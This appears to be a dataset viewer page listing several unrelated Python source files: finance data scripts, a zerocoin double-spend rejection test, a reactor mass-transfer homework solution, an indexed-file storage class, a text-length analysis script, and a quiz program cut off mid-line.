Reset23/the-stack-v2-python · Datasets at Hugging Face

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import pandas as pd import os import quandl import time # put your api key in the auth.txt, to run the script auth_tok = open('auth.txt','r').read().splitlines() auth_tok = str(auth_tok[0]) quandl.ApiConfig.api_key = auth_tok data = quandl.get("WIKI/KO", start_date = "2000-12-12", end_date = "2014-12-30") print(data['Adj. Close'])

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""" Proyecto Python y Mysql: -Abrir asistente -Login o registros -Si elegimo login, identifica al usuario y nos preguntara -Crear nota, mostrar notas, borrarlas """ from usuarios import acciones print(""" Acciones disponibles: -registro -login """) hazEl = acciones.Acciones() accion = input("Que deseas hacer?: ") if accion == 'registro': hazEl.registro() elif accion == 'login': hazEl.login()

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from pandas import DataFrame class BasePreprcoessStrategy: def execute(self, dataframe: DataFrame): pass

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#!/usr/bin/env python3 # Copyright (c) 2019 The TERRACREDIT developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' Tests a valid publicCoinSpend spend ''' from time import sleep from fake_stake.util import TestNode from test_framework.authproxy import JSONRPCException from test_framework.test_framework import BitcoinTestFramework from test_framework.util import p2p_port, assert_equal, assert_raises_rpc_error, assert_greater_than_or_equal class zCREDITValidCoinSpendTest(BitcoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 self.extra_args = [['-sporkkey=932HEevBSujW2ud7RfB1YF91AFygbBRQj3de3LyaCRqNzKKgWXi']] def setup_network(self): self.setup_nodes() def init_test(self): title = "*** Starting %s ***" % self.__class__.__name__ underline = "-" * len(title) self.log.info("\n\n%s\n%s\n%s\n", title, underline, self.description) # Setup the p2p connections and start up the network thread. self.test_nodes = [] for i in range(self.num_nodes): self.test_nodes.append(TestNode()) self.test_nodes[i].peer_connect('127.0.0.1', p2p_port(i)) def generateBlocks(self, n=1): fStaked = False while (not fStaked): try: self.nodes[0].generate(n) fStaked = True except JSONRPCException as e: if ("Couldn't create new block" in str(e)): # Sleep 2 seconds and retry self.log.info("waiting...") sleep(2) else: raise e def mintZerocoin(self, denom): self.nodes[0].mintzerocoin(denom) self.generateBlocks(5) def setV4SpendEnforcement(self, fEnable=True): new_val = 1563253447 if fEnable else 4070908800 # update spork 18 and mine 1 more block mess = "Enabling v4" if fEnable else "Enabling v3" mess += " PublicSpend version with SPORK 18..." self.log.info(mess) res = self.nodes[0].spork("SPORK_18_ZEROCOIN_PUBLICSPEND_V4", new_val) self.log.info(res) assert_equal(res, "success") sleep(1) def run_test(self): self.description = "Tests a valid publicCoinSpend spend." self.init_test() INITAL_MINED_BLOCKS = 301 # Blocks mined before minting MORE_MINED_BLOCKS = 26 # Blocks mined after minting (before spending) DENOM_TO_USE = 1 # zc denomination used for double spending attack # 1) Start mining blocks self.log.info("Mining/Staking %d first blocks..." % INITAL_MINED_BLOCKS) self.generateBlocks(INITAL_MINED_BLOCKS) # 2) Mint zerocoins self.log.info("Minting %d-denom zCREDITs..." % DENOM_TO_USE) for i in range(5): self.mintZerocoin(DENOM_TO_USE) # 3) Mine more blocks and collect the mint self.log.info("Mining %d more blocks..." % MORE_MINED_BLOCKS) self.generateBlocks(MORE_MINED_BLOCKS) list = self.nodes[0].listmintedzerocoins(True, True) serial_ids = [mint["serial hash"] for mint in list] assert_greater_than_or_equal(len(serial_ids), 3) # 4) Get the raw zerocoin data - save a v3 spend for later exported_zerocoins = self.nodes[0].exportzerocoins(False) zc = [x for x in exported_zerocoins if x["id"] in serial_ids] assert_greater_than_or_equal(len(zc), 3) saved_mint = zc[2]["id"] old_spend_v3 = self.nodes[0].createrawzerocoinpublicspend(saved_mint) # 5) Spend the minted coin (mine six more blocks) - spend v3 serial_0 = zc[0]["s"] randomness_0 = zc[0]["r"] privkey_0 = zc[0]["k"] self.log.info("Spending the minted coin with serial %s and mining six more blocks..." % serial_0) txid = self.nodes[0].spendzerocoinmints([zc[0]["id"]])['txid'] self.log.info("Spent on tx %s" % txid) self.generateBlocks(6) rawTx = self.nodes[0].getrawtransaction(txid, 1) if rawTx is None: self.log.warning("rawTx not found for: %s" % txid) raise AssertionError("TEST FAILED") else: assert_equal(rawTx["confirmations"], 6) self.log.info("%s: VALID PUBLIC COIN SPEND (v3) PASSED" % self.__class__.__name__) # 6) Check double spends - spend v3 self.log.info("%s: Trying to spend the serial twice now" % self.__class__.__name__) assert_raises_rpc_error(-4, "Trying to spend an already spent serial", self.nodes[0].spendrawzerocoin, serial_0, randomness_0, DENOM_TO_USE, privkey_0) self.log.info("GOOD: Double-spending transaction did not verify.") # 7) Check spend v2 disabled self.log.info("%s: Trying to spend using the old coin spend method.." % self.__class__.__name__) try: res = self.nodes[0].spendzerocoin(DENOM_TO_USE, False, False, "", False) except JSONRPCException as e: # JSONRPCException was thrown as expected. Check the code and message values are correct. if e.error["code"] != -4: raise AssertionError("Unexpected JSONRPC error code %i" % e.error["code"]) if ("Couldn't generate the accumulator witness" not in e.error['message'])\ and ("The transaction was rejected!" not in e.error['message']): raise AssertionError("Expected substring not found:" + e.error['message']) except Exception as e: raise AssertionError("Unexpected exception raised: " + type(e).__name__) self.log.info("GOOD: spendzerocoin old spend did not verify.") # 8) Activate v4 spends with SPORK_18 self.log.info("Activating V4 spends with SPORK_18...") self.setV4SpendEnforcement(True) self.generateBlocks(2) # 9) Spend the minted coin (mine six more blocks) - spend v4 serial_1 = zc[1]["s"] randomness_1 = zc[1]["r"] privkey_1 = zc[1]["k"] self.log.info("Spending the minted coin with serial %s and mining six more blocks..." % serial_1) txid = self.nodes[0].spendzerocoinmints([zc[1]["id"]])['txid'] self.log.info("Spent on tx %s" % txid) self.generateBlocks(6) rawTx = self.nodes[0].getrawtransaction(txid, 1) if rawTx is None: self.log.warning("rawTx not found for: %s" % txid) raise AssertionError("TEST FAILED") else: assert_equal(rawTx["confirmations"], 6) self.log.info("%s: VALID PUBLIC COIN SPEND (v4) PASSED" % self.__class__.__name__) # 10) Check double spends - spend v4 self.log.info("%s: Trying to spend the serial twice now" % self.__class__.__name__) assert_raises_rpc_error(-4, "Trying to spend an already spent serial", self.nodes[0].spendrawzerocoin, serial_1, randomness_1, DENOM_TO_USE, privkey_1) self.log.info("GOOD: Double-spending transaction did not verify.") # 11) Try to relay old v3 spend now self.log.info("%s: Trying to send old v3 spend now" % self.__class__.__name__) assert_raises_rpc_error(-26, "bad-txns-invalid-zcredit", self.nodes[0].sendrawtransaction, old_spend_v3) self.log.info("GOOD: Old transaction not sent.") # 12) Try to double spend with v4 a mint already spent with v3 self.log.info("%s: Trying to double spend v4 against v3" % self.__class__.__name__) assert_raises_rpc_error(-4, "Trying to spend an already spent serial", self.nodes[0].spendrawzerocoin, serial_0, randomness_0, DENOM_TO_USE, privkey_0) self.log.info("GOOD: Double-spending transaction did not verify.") # 13) Reactivate v3 spends and try to spend the old saved one self.log.info("Activating V3 spends with SPORK_18...") self.setV4SpendEnforcement(False) self.generateBlocks(2) self.log.info("%s: Trying to send old v3 spend now" % self.__class__.__name__) txid = self.nodes[0].sendrawtransaction(old_spend_v3) self.log.info("Spent on tx %s" % txid) self.generateBlocks(6) rawTx = self.nodes[0].getrawtransaction(txid, 1) if rawTx is None: self.log.warning("rawTx not found for: %s" % txid) raise AssertionError("TEST FAILED") else: assert_equal(rawTx["confirmations"], 6) self.log.info("%s: VALID PUBLIC COIN SPEND (v3) PASSED" % self.__class__.__name__) if __name__ == '__main__': zCREDITValidCoinSpendTest().main()

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#from pack import NariPairs #from pack import ForexDataClient #from pack import GaitameDataClient #from pack import NariPairs import pack p = pack.NariPairs.getSymbolList(['eu']) a = pack.GaitameDataClient() b = pack.ForexDataClient() c = a.getQuotes(p) print(c) print(b.base_uri)

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/HW_7/ChE445_HW7_Winter2020_Solution.py

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maryam-azhin/ChE445-Winter2020

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#!/usr/bin/env python # coding: utf-8 # ##### T.A. Maryam Azhin, # # Department of Chemical and Materials Engineering, University of Alberta # **HW7. External mass transfer limitations.** # # due Monday, March 30, 2020. Weight: 2% # Reaction: $A + O_2 \rightarrow B$ (gas phase) # # Kinetics: Intrinsically $1^{st}$ order to $A$ and apparent $0^{th}$ order to $O_2$ (excess air and $O_2$)* # # Catalyst: Spherical, $3\; cm$ diameter, non-porous, $4\; kg$ # # Reactor: tubular PBR, i.d. $0.05\; m$, no pressure drop # # Bed density and porosity: $500 kg/m^3$, $0.4$ # # Other properties at reaction temperature: # -Concentration of $A$ in the entering feed $5E-4 mol/m^3$ # # -Diffusivity of $A$ in air $2E-5 m^2/s$ # # -Kinematic viscosity of the fluid $5E-5 m2/s$ # # -Intrinsic rate constant $8 m^3(fluid)/(m3(bed) s)$ # # External temperature gradients are negligible at all conditions in this assignment, but there is the possibility of external MTL and we have to find conditions to maximize the production of B. The system can be assumed to be constant density because of the excess oxygen (air). # # **Question 1.** For volumetric flow rates (reaction conditions) of $0.0005$, $0.05$ and $15 m^3/s$, express the surface concentration of $A$ as a function of its bulk concentration. (hint: use $k$ and $kc$). 35 pts # # **Question 2.** Among the three cases, select the flow rate where external MTL can be ignored and calculate $X_A$ and exit molar flow rate of product $B$ (use ideal PBR design equation, and use bed density to have the correct units for the rate constant to be used in the mole balance for the PBR). 10 pts # # **Question 3.** Among these three cases, select the flow rate where external MTL is severe and external diffusion is rate-limiting. Again, calculate $X_A$ and $F_B$ considering that the observed rate is equal to the mass transfer rate. (For bed length, use bed density, catalyst mass and the tube Ac). 15 pts # # **Question 4.** Calculate the conversion and $F_B$ for the third case. (Use PBR design equation with CAs but conversion is related to $C_{Ab}, not $C_{As}. Again, watch out for units of $k$ as in **Q2**). 25 pts # # **Question 5.** Can you explain why the conversion in the cases affected by external MTL is higher than in the case where kinetics are rate determining? If your target were to produce the highest exit $F_B$, which # case among the three would you prefer? 10 pts # # **Question 6.** Given that diffusivities in liquid phase are lower than those in gas phase, which reactions are more prone to mass-transfer limitations: those in gas phase or in liquid phase? 5 pts # # *Note: an “apparent” order means that the reaction rate at these particular concentrations (pressures) and temperature does not depend on the oxygen pressure. The reaction may still be, for example, an intrinsic # first order to oxygen: # # \begin{eqnarray} # -r_A = k·C_A·P_{O2} # \end{eqnarray} # # But because of the excess oxygen, its partial pressure does not change significantly during the reaction, so it can be lumped into the rate constant (e.g. if there are $100$ times more moles of $O_2$ than of $A$, the pressure of oxygen will drop negligibly even when all $A$ is consumed). So, the rate law (only at these particular conditions) can be simplified to $-r_A = k*·C_A$. # **Answer to Q1** # \begin{eqnarray} # C_{As}=\frac{k_ca_c}{k+k_ca_c}C_{Ab}, \;\;\;1^{st}\;order # \end{eqnarray} # # \begin{eqnarray} # k_{c}=\frac{D_{AB}*Sh}{D_p}\\ # Sh=2+0.6*Re_p^{0.5}*Sc^{1/3}\\ # Sc=\frac{\nu}{D_{AB}}=\frac{5*10^{-5}}{2*10^{-5}}=2.5 # \end{eqnarray} # # \begin{eqnarray} # Re_p=\frac{u*D_p}{\nu}=\frac{Q*D_p}{A_c*\nu}=Q*\frac{0.03}{\pi*0.025^2*5*10^{-5}}=305578*Q # \end{eqnarray} # # \begin{eqnarray} # a_c=\frac{6*(1-\phi)}{D_p}=120 \frac{m^2}{m^3_{bed}} # \end{eqnarray} # # Check units: # # $[k]=[\frac{m^3_{l}}{m^3_{bed}*s}]$ # # $[k_ca_c]=[\frac{m}{s}*\frac{m^2}{m^3_{bed}}]$, match, ok. # # | | | | | | | # |:---------:|-----:|-----:|-----:|----------:|---------------------------------------:| # |$Q,\;m^3/s$|$Sc$|$Re_p$|$Sh$|$k_c,\;m/s$|$C_{As}=\frac{k_c*a_c}{k+k_c*a_c}*C_{Ab}$| # |0.0005 |2.5|153 |12.068|$8.04*10^{-3}$ |$C_{As}=0.11*C_{Ab}\;\;\frac{mol}{m^3}$ | # |0.05 |2.5|15279 |102.68|$6.84*10^{-2}$|$C_{As}=0.51*C_{Ab}\;\;\frac{mol}{m^3}$| # |15|2.5|4583798|1745.87|1.16|$C_{As}=0.95*C_{Ab}\;\;\frac{mol}{m^3}$| # In[1]: import numpy as np nu=5*pow(10,-5) #m2/s DAB=2*pow(10,-5) #m2/s Sc=nu/DAB Dp=0.03 #m CA0=5*pow(10,-4) #mol/m3 rhob=500 #kg/m3 phi=0.4 k=8 #m3fl/(m3cat.s) W=4 Id=0.05 #m Ac=3.14*pow(Id,2)/4 ac=6*(1-phi)/Dp #1/m print ("Sc=",Sc) Q=[0.0005,0.05,15] Rep=np.zeros(len(Q)) Sh=np.zeros(len(Q)) kc=np.zeros(len(Q)) CAs_coef=np.zeros(len(Q)) for i in range(0,len(Q)): Rep[i]=Q[i]*Dp/(nu*Ac) Sh[i]=2+0.6*pow(Rep[i],1/2)*pow(Sc,1/3) kc[i]=Sh[i]*DAB/Dp CAs_coef[i]=kc[i]*ac/(k+kc[i]*ac) print ("ac=",ac) print ("Q=",Q) print ("Rep=",Rep) print ("Sh=",Sh) print ("kc=",kc) print ("CAs=",CAs_coef,'*CAb') # ---- # **Answer to Q2** # # When $C_{As}=~C_{Ab}$, there are no external MTL, so at $Q=15\;\frac{m^3}{s}$ # # **MB PBR:** # # \begin{eqnarray} # F_{A0}\frac{dX}{dW}=kC_A=k\frac{F_{A0}}{Q}(1-X) # \end{eqnarray} # constant $Q$: # # \begin{eqnarray} # \frac{dX}{1-X}=\frac{k}{Q}dW\\ # ln(\frac{1}{1-X})=\frac{k*W}{Q} # \end{eqnarray} # # units: from MB: $[\frac{mol}{s*kg_{cat}}]=[k*\frac{mol}{m^3_{fl}}]$ # # $[k]=[\frac{m^3_{fl}}{s*kg_{cat}}]$ # # $k$ is given as $8\;\;\frac{m^3_{fl}}{m^3_{bed}*s}$ so multiply by $\frac{1}{\rho_b[kg_{cat}/m^3_{bed}]}$ # # \begin{eqnarray} # X=1-exp(\frac{-k*W}{\rho_b*Q})=1-exp(\frac{-8*4}{500*15})=0.4\;% # \end{eqnarray} # # \begin{eqnarray} # F_B=F_{A0}*X_A=C_{A0}*Q*X=5*10^{-4}*15*\frac{0.4}{100}=3*10^{-5}\;\;\frac{mol}{s} # \end{eqnarray} # In[2]: import math X3=1-math.exp((-k*W)/(rhob*Q[2])) FB3=CA0*Q[2]*X3 print("X3={0:.4f}".format(X3),'%') print ("FB3={0:.6f}".format(FB3),'mol/s') # ----- # **Answer to Q3** # # When $C_{As}=0$ ($<<C_{Ab}$) then there are severe external MTL. This is the case with $0.0005\frac{m^3}{s}$. # # At constant $Q$ # # \begin{eqnarray} # ln(\frac{1}{1-X})=\frac{k_ca_cL}{u}\\ # \frac{L}{u}=\frac{V_{bed}/A_c}{Q/A_c}=\frac{W/\rho_{bed}}{Q}\\ # ln(\frac{1}{1-X})=-8.04*10^{-3}*120*\frac{4/500}{0.0005}\\ # x=100% # \end{eqnarray} # # \begin{eqnarray} # F_B=F_{A0}*X_A=C_{A0}*Q*X=5*10^{-4}*0.0005*1=2.5*10^{-7}\;\frac{mol}{s} # \end{eqnarray} # In[3]: X1=1-math.exp(-kc[0]*ac*W/(rhob*Q[0])) FB1=CA0*Q[0]*X1 print("X1={0:.2f}".format(X1),'%') print ("FB1={0:.8f}".format(FB1),'mol/s') # ---- # **Answer to Q4** # # \begin{eqnarray} # F_{A0}\frac{dX}{dW}=kC_{As} # \end{eqnarray} # for $Q=0.05\;m^3/s$: # # \begin{eqnarray} # C_{As}=C_{Ab}\frac{k_ca_c}{k+k_ca_c}=0.51 C_{Ab}\\ # C_{Ab}=\frac{F_{A0}}{Q}(1-X) # \end{eqnarray} # at $Q$ constant: # # \begin{eqnarray} # ln(\frac{1}{1-X})=\frac{k*W*0.51}{Q} # \end{eqnarray} # # Here, $k$ has units $\frac{m^3_{fl}}{s*kg_{cat}}$ # # given $k=8 \frac{m^3_{fl}}{m^3_{bed}*s}*\frac{1[m^3_{bed}]}{500[kg_{cat}]}$ # # \begin{eqnarray} # ln(\frac{1}{1-X})=\frac{8*4*0.51}{0.05*500}\\ # X=48 # \end{eqnarray} # # $F_{B}=F_{A0}X=C_{A0}QX=5*10^{-4}*0.05*0.48=1.2*10^{-5} \frac{mol}{s}$ # # In[4]: X2=1-math.exp(-k*W*CAs_coef[1]/(rhob*Q[1])) FB2=CA0*Q[1]*X2 print("X2={0:.3f}".format(X2),'%') print ("FB2={0:.7f}".format(FB2),'mol/s') # ---- # **Answer to Q5** # # **In the cases affected by MTL** # # External MTL is present when $Q$ and hence $F_{A0}$ are lower values, so the fluid spends more time in the reactor and higher conversion, $X$, is achieved. $k_ca_c<<k$, Slow diffusion and fast reaction. So observed reaction rate = rate of external diffusion. # # **At high $Q$,** when there are no MTL, even at low $X$, $F_B$ is the highest. # # $Q=15 m^3/s$ gives the highest $F_B$, $Q=0.05 m^3/s$ gives a slightly smaller value for $F_B$ while having a larger conversion $X=48%$ So case $Q=0.05 m^3/s$ is perfect to produce the highest exit $F_B$ yet higher conversion. # ---- # **Answer to Q6** # # Diffusivities in liquid phase are lower (because of higher density), so liquid phase reactions are more prone to MTL. Lower diffusivities give lower $Re$ and hence higher concentration, $C_A$, which means more MTL. # # $kc \propto D_{AB}$ Therefore smaller $D_{AB}$ results in smaller $k_c$ or smaller mass transfer coefficient. The smaller mass transfer coefficient, the more prone the reaction is to mass transfer limitations. Since liquids have low diffusion rate, so they have higher MTL .

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py

import sys import struct import pathlib import pickle from numbers import Number VERSION = "1.0.0" INTSIZE = 4 INTBINFORMAT = "!L" HEADERFORMAT = "!LLLL" MAGIC_NUMBER = 0xd8fd2372 NO_MORE_RECORDS = 0xffffffff DEFAULT_RECORD_SIZE = 512 DEFAULT_NUM_RECORDS = 10 RECORDS_OFFSET = 4 * INTSIZE # start of records area class IndexedFileError(Exception): pass class IndexedFile: """ Simple indexed files. Format: Byte: 0<-- INTSIZE-> <-INTSIZE-> <-- INTSIZE -> <-- INTSIZE ----> Header +-------------+-----------+--------------+-----------------+ | Magic | Rec. Size | Index offset | 1st free record | Records +-------------+-----------+--------------+-----------------+ +--- | next record | Record (recsize - INTSIZE bytes) | | +-------------+ | | | | +--> +-------------+--------------------------------------------+ +--- | next record | Record | | +-------------+ +--> ...... INTSIZE INTSIZE +-------------+--------------------------+---------+-------+ Index | Key Length | Key (Key Lenght bytes) | Rec.Idx | Size | +-------------+--------------------------+---------+-------+ | Key Length | Key | Rec.Idx | Size | +-------------+--------------------------+---------+-------+ ...... +-------------+ End | 0x00000000 | +-------------+ """ def __init__(self, name, mode='r', recordsize=DEFAULT_RECORD_SIZE, num_recs_hint=DEFAULT_NUM_RECORDS): if mode not in "rc": raise IndexedFileError("'{}' Mode must be 'r' or 'c'") self.name = name self.path = pathlib.Path(name) self.index = {} if mode == "r": if self.path.is_file(): self.open() else: raise IndexedFileError("'{}' Not found.") elif mode == "c": self.recordsize = max(recordsize, 2 * INTSIZE) self.current_size = num_recs_hint*recordsize self.index_offset = self.current_size + RECORDS_OFFSET self.first_free = 0 self.create() def _read_header(self): self.fd.seek(0) buf = self.fd.read(4*INTSIZE) magic, rs, idxoffs, fstfree = struct.unpack(HEADERFORMAT, buf) if magic != MAGIC_NUMBER: raise IndexedFileError("'{}' Bad magic number." .format(self.name)) self.recordsize = rs self.index_offset = idxoffs self.first_free = fstfree self.current_size = self.index_offset - RECORDS_OFFSET def _write_header(self): buf = struct.pack(HEADERFORMAT, MAGIC_NUMBER, self.recordsize, self.index_offset, self.first_free) self.fd.seek(0) self.fd.write(buf) self.fd.flush() def open(self): self.fd = self.path.open("r+b") self._read_header() self._read_index() def create(self): self.fd = self.path.open("w+b") self.fd.truncate(self.index_offset) self._write_header() self.init_free_list() self.fd.seek(0, 2) # position to end of file self._writeint(0) def _readint(self): intblock = self.fd.read(INTSIZE) return struct.unpack(INTBINFORMAT, intblock)[0] def _writeint(self, value): self.fd.write(struct.pack(INTBINFORMAT, value)) def record_number(self, i): """Offset of record #i""" return i * self.recordsize + RECORDS_OFFSET def first_record(self): """Offset of first record (record 0)""" return self.record_number(0) def last_record(self): """Offset of last record""" num_records = self.current_size // self.recordsize return self.record_number(num_records-1) def init_free_list(self, start=0): num_records = self.current_size // self.recordsize for rn in range(start, num_records): self.fd.seek(self.record_number(rn)) self._writeint(rn + 1) self.fd.seek(self.last_record()) self._writeint(NO_MORE_RECORDS) def _read_index(self): self.fd.seek(self.index_offset) keysize = self._readint() while keysize: keybytes = self.fd.read(keysize) key = pickle.loads(keybytes) idx = self._readint() datasize = self._readint() self.index[key] = (idx, datasize) keysize = self._readint() def _write_index(self): self.fd.seek(self.index_offset) for key in self.index: idx, size = self.index[key] keybytes = pickle.dumps(key) self._writeint(len(keybytes)) self.fd.write(keybytes) self._writeint(idx) self._writeint(size) self._writeint(0) def close(self): self._write_index() self.fd.close() def _allocate_records(self, numrecords): n = 0 indices = [] recnum = self.first_free while n < numrecords and recnum != NO_MORE_RECORDS: indices.append(recnum) n += 1 self.fd.seek(self.record_number(recnum)) recnum = self._readint() if n < numrecords: raise IndexedFileError("Out of space") last = indices[-1] self.fd.seek(self.record_number(last)) new_first_free = self._readint() self.fd.seek(self.record_number(last)) self._writeint(NO_MORE_RECORDS) self.first_free = new_first_free self._write_header() return indices def allocate(self, numrecords): """ Return a list of free records, resizing the file if not enough free records are available. """ free_list = [] while not free_list: try: free_list = self._allocate_records(numrecords) except IndexedFileError as err: if str(err) == "Out of space": self.resize() else: raise return free_list def __setitem__(self, key, bytesval): if key in self: del self[key] datasize = len(bytesval) usable_rec_size = self.recordsize - INTSIZE records_needed = datasize // usable_rec_size + 1 start = 0 free_list = self.allocate(records_needed) for idx in free_list: self.fd.seek(self.record_number(idx)+INTSIZE) self.fd.write(bytesval[start:start+usable_rec_size]) start += usable_rec_size first_record = free_list[0] self.index[key] = (first_record, datasize) self._write_index() def retrieve(self, start): """ Retrieve the data of the records from start until a record marked with NO_MORE_RECORDS """ usable_rec_size = self.recordsize - INTSIZE idx = start while idx != NO_MORE_RECORDS: self.fd.seek(self.record_number(idx)) idx = self._readint() yield self.fd.read(usable_rec_size) def record_list(self, start): """ Return the record chain from start until NO_MORE_RECORDS """ idx = start while True: yield idx self.fd.seek(self.record_number(idx)) idx = self._readint() if idx == NO_MORE_RECORDS: break def last_in_chain(self, start): """ Return the last record in a chain starting by start. The next_record field in its index should be NO_MORE_RECORDS """ for idx in self.record_list(start): pass return idx def __getitem__(self, key): usable_rec_size = self.recordsize - INTSIZE first_record, datasize = self.index[key] buf = b"" for chunk in self.retrieve(first_record): buf += chunk return buf[:datasize] def resize(self): num_records = self.current_size // self.recordsize new_size = 2 * self.current_size new_index_offset = new_size + RECORDS_OFFSET self.index_offset = new_index_offset self.fd.truncate(self.index_offset) self.current_size = new_size first_new_record = num_records self.init_free_list(first_new_record) if self.first_free != NO_MORE_RECORDS: # not completely full, add new records to existing free space idx = self.last_in_chain(self.first_free) self.fd.seek(self.record_number(idx)) self._writeint(first_new_record) else: self.first_free = first_new_record self._write_index() self._write_header() def __delitem__(self, key): first_record, datasize = self.index[key] del self.index[key] self._write_index() idx = self.last_in_chain(first_record) self.fd.seek(self.record_number(idx)) self._writeint(self.first_free) self.first_free = first_record self._write_header() def __contains__(self, key): return key in self.index def gen_keys(self): for k in self.index.keys(): yield k def __iter__(self): class IDXFileIter: def __init__(self2): self2.gkeys = self.gen_keys() def __next__(self2): return next(self2.gkeys) return IDXFileIter() def keys(self): return self.index.keys() def values(self): class IDXFileVals: def __iter__(self2): self2.gkeys = self.gen_keys() return self2 def __next__(self2): k = next(self2.gkeys) return self[k] return IDXFileVals() def items(self): class IDXFileItems: def __iter__(self2): self2.gkeys = self.gen_keys() return self2 def __next__(self2): k = next(self2.gkeys) return k, self[k] return IDXFileItems() def __enter__(self): return self def __exit__(self, *args): self.close()

[ "javier@llopis.me" ]

javier@llopis.me

cf7ce4febb11b3a8679e9c6d7b02823b9dd3d85b

981422eab8715257cf50078ecff93d6e4153a9fb

/preprocess/analysis.py

ab53996f235ff1c5d88cc8429c22c00d1a1d2cc7

[]

no_license

FirmlyReality/guba_sentiment

d34227b99dc39ed28d41dc6b0b9f56dbf5564b24

b528d039ab8e80e8691e170ed2e7a9fd93bf8738

refs/heads/master

2020-04-19T16:25:06.892886

2019-05-04T07:26:51

168,303,237

0

null

UTF-8

Python

false

2,949

py

import pandas as pd import os, sys import time import collections if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python analysis.py <inputDir>") exit(1) starttime = time.time() inputDir = sys.argv[1] files = os.listdir(inputDir) tiezi_lencount = collections.Counter() reply_lencount = collections.Counter() tiezicnt = 0 replyscnt = 0 stocks_crawled = set() for dfile in files: print("Read from %s" % dfile) code = dfile.split('_')[0] stocks_crawled.add(code) ftype = dfile.split('_')[1].split('.')[0] data = pd.read_csv(inputDir+"/"+dfile,dtype=str) print("Groupby ...") if ftype == "reply": #lendata = data.groupby(lambda x:len(str(data.loc[x]['content']))).size() lendata = [len(str(c)) for c in data['content']] lencount = reply_lencount else: #lendata = data.groupby(lambda x:len(str(data.loc[x]['content'])+str(data.loc[x]['title']))+1).size() lendata = [len(str(data.loc[i]['content'])) + len(str(data.loc[i]['title'])) + 1 for i in data.index] lencount = tiezi_lencount lencount.update(lendata) '''for lenidx in lendata.index: if lenidx not in lencount: lencount[lenidx] = lendata[lenidx] else: lencount[lenidx] += lendata[lenidx]''' if ftype == 'tiezi': tiezicnt += len(data) else: replyscnt += len(data) #print(lencount) print(time.time()-starttime) tiezi_df = pd.DataFrame.from_dict(dict(tiezi_lencount), orient='index') tiezi_df.rename(columns={0:'tiezicnt'},inplace=True) reply_df = pd.DataFrame.from_dict(dict(reply_lencount), orient='index') reply_df.rename(columns={0:'replycnt'},inplace=True) lencntdf = tiezi_df.join(reply_df,how="outer",sort=True) print(lencntdf) lencntdf.to_csv('lencnt.csv',index=True) '''allcnt = tiezicnt + replyscnt now = 0 for lenidx in lencntdf.index: now += lencount[lenidx] if now > 0.95*allcnt: print("length %d is on 0.95" % (lenidx)) print("now=%d allcnt=%d"%(now,allcnt)) break''' print("Total tiezi count: "+str(tiezicnt)) print("Total reply count: "+str(replyscnt)) print("Read from need_stock.txt and build stocks_need set...") stockfile = open("need_stock.txt") stocks_need = set() lines = stockfile.read().splitlines() stockfile.close() for l in lines: lsplits = l.split() code = lsplits[0] if code in stocks_need: print("Error! code exists!") exit(1) stocks_need.add(code) print("Need but not crawled: ") print(str(stocks_need-stocks_crawled)) print("Crawled but not need: ") print(str(stocks_crawled-stocks_need))

[ "firmlyzhu@163.com" ]

firmlyzhu@163.com

54bebeb806ed2a6d1e646e23ff48c820f6015356

f3ed28ec7242d335df9cbb2d49f5163f288b2b04

/interpreText.py

5c463ac0b6f12a9a9b7dcd92a6c87ca2386ef975

[]

no_license

DanielXav/algoritmo-primeiro-periodo

97e60bf558fbf59535608982c983bef757757ab5

3743b8c221ddb05afa2ad9b9b78c3a5851636704

refs/heads/main

2023-05-15T17:24:51.994832

2021-06-15T17:31:55

377,242,913

0

null

UTF-8

Python

false

20,458

py

from time import sleep titulos = list() #Listas e Dicionarios temas = list() cadastro = dict() historia = dict() historias = list() questoes = dict() listaQuestoes = list() listProfessores = list() listAlunos = list() prof = dict() aluno = dict() #FUNÇÕES DOS PROFESSORES def linha(tam=42): #Função para criar uma linha return '-' * tam def cadTemas(): #Cadastrar Temas try: tema = str(input('\033[1;30mDigite o tema: \033[m')).capitalize() if tema not in temas: temas.append(tema) print('\033[1;30mTema\033[m \033[1;32m{}\033[m armazenado!\033[m'.format(tema)) except (ValueError, TypeError): print('\033[1;30mErro na leitura dos temas!\033[m') return temas def cadHistorias(tema, titulo, historias): #Cadastrar histórias try: historia.clear() historia['tema'] = tema historia['titulo'] = titulo historia[titulo] = str(input('\033[1;30mEntre com a historia: \033[m')) #Cada historia vai ser um dicicionario dentro de uma lista historias.append(historia.copy()) print('\033[1;32mHistoria armazenada!\033[m') except (ValueError, TypeError): print("\033[1;31mErro na leitura das histórias!\033[m") return historias def mostrarTitulo(historias): #Mostra titulo das histórias disponiveis print('\033[1;30mAs historias cadastradas foram: \n\033[m') for historia in historias: print(f'\033[1;34m{historia["titulo"]} \033[m') def lerHistoria(historias): #Mostra a história mostrarTitulo(historias) titulo = input("\033[1;30mDigite o titulo da historia a ser lida: \033[m") print() print('\033[1;30mA historia escolhida foi: \n\033[m') print(f'\033[1;34m{titulo} \n\033[m') for historia in historias: if (historia['titulo'] == titulo): print() print(f'{historia[titulo]} \n\n') def apagarHistoria(historias): #Apagar uma história mostrarTitulo(historias) titulo = str(input("\033[1;30mQual a historia que voce deseja apagar? \033[m")) apagada = False for historia in historias: if (historia['titulo'] == titulo): historias.remove(historia) apagada = True break if apagada: print(f"\033[1;32mHistória {titulo} apagada! \033[m") else: print(f"\033[1;31mHistória {titulo} não encontrada! \033[m") def printTemas(temas): #Mostra os temas cadastrados print('\033[1;30mTemas cadastrados: \033[m') if (len(temas) == 0): print("\033[1;31mNao existem temas cadastrados\033[m") for tema in temas: print(tema) def criarQuestoes(titulo): #Cria questões questoes = dict() #Dicionario Principal, uma chave perguntas = dict() pergunta1 = dict() #Dicionario secundario respostas1 = dict() pergunta2 = dict() respostas2 = dict() pergunta3 = dict() respostas3 = dict() pergunta4 = dict() respostas4 = dict() pergunta5 = dict() respostas5 = dict() pergunta1['pergunta'] = str(input("\033[1;30mEntre com a primeira pergunta: \033[m")) sleep(0.3) print('Digite 5 respostas: ') respostas1['a'] = str(input("\033[1;30mEntre com a resposta a: \033[m")) respostas1['b'] = str(input("\033[1;30mEntre com a resposta b: \033[m")) respostas1['c'] = str(input("\033[1;30mEntre com a resposta c: \033[m")) respostas1['d'] = str(input("\033[1;30mEntre com a resposta d: \033[m")) respostas1['e'] = str(input("\033[1;30mEntre com a resposta e: \033[m")) sleep(0.3) pergunta1['respostas'] = respostas1 pergunta1['resposta_certa'] = 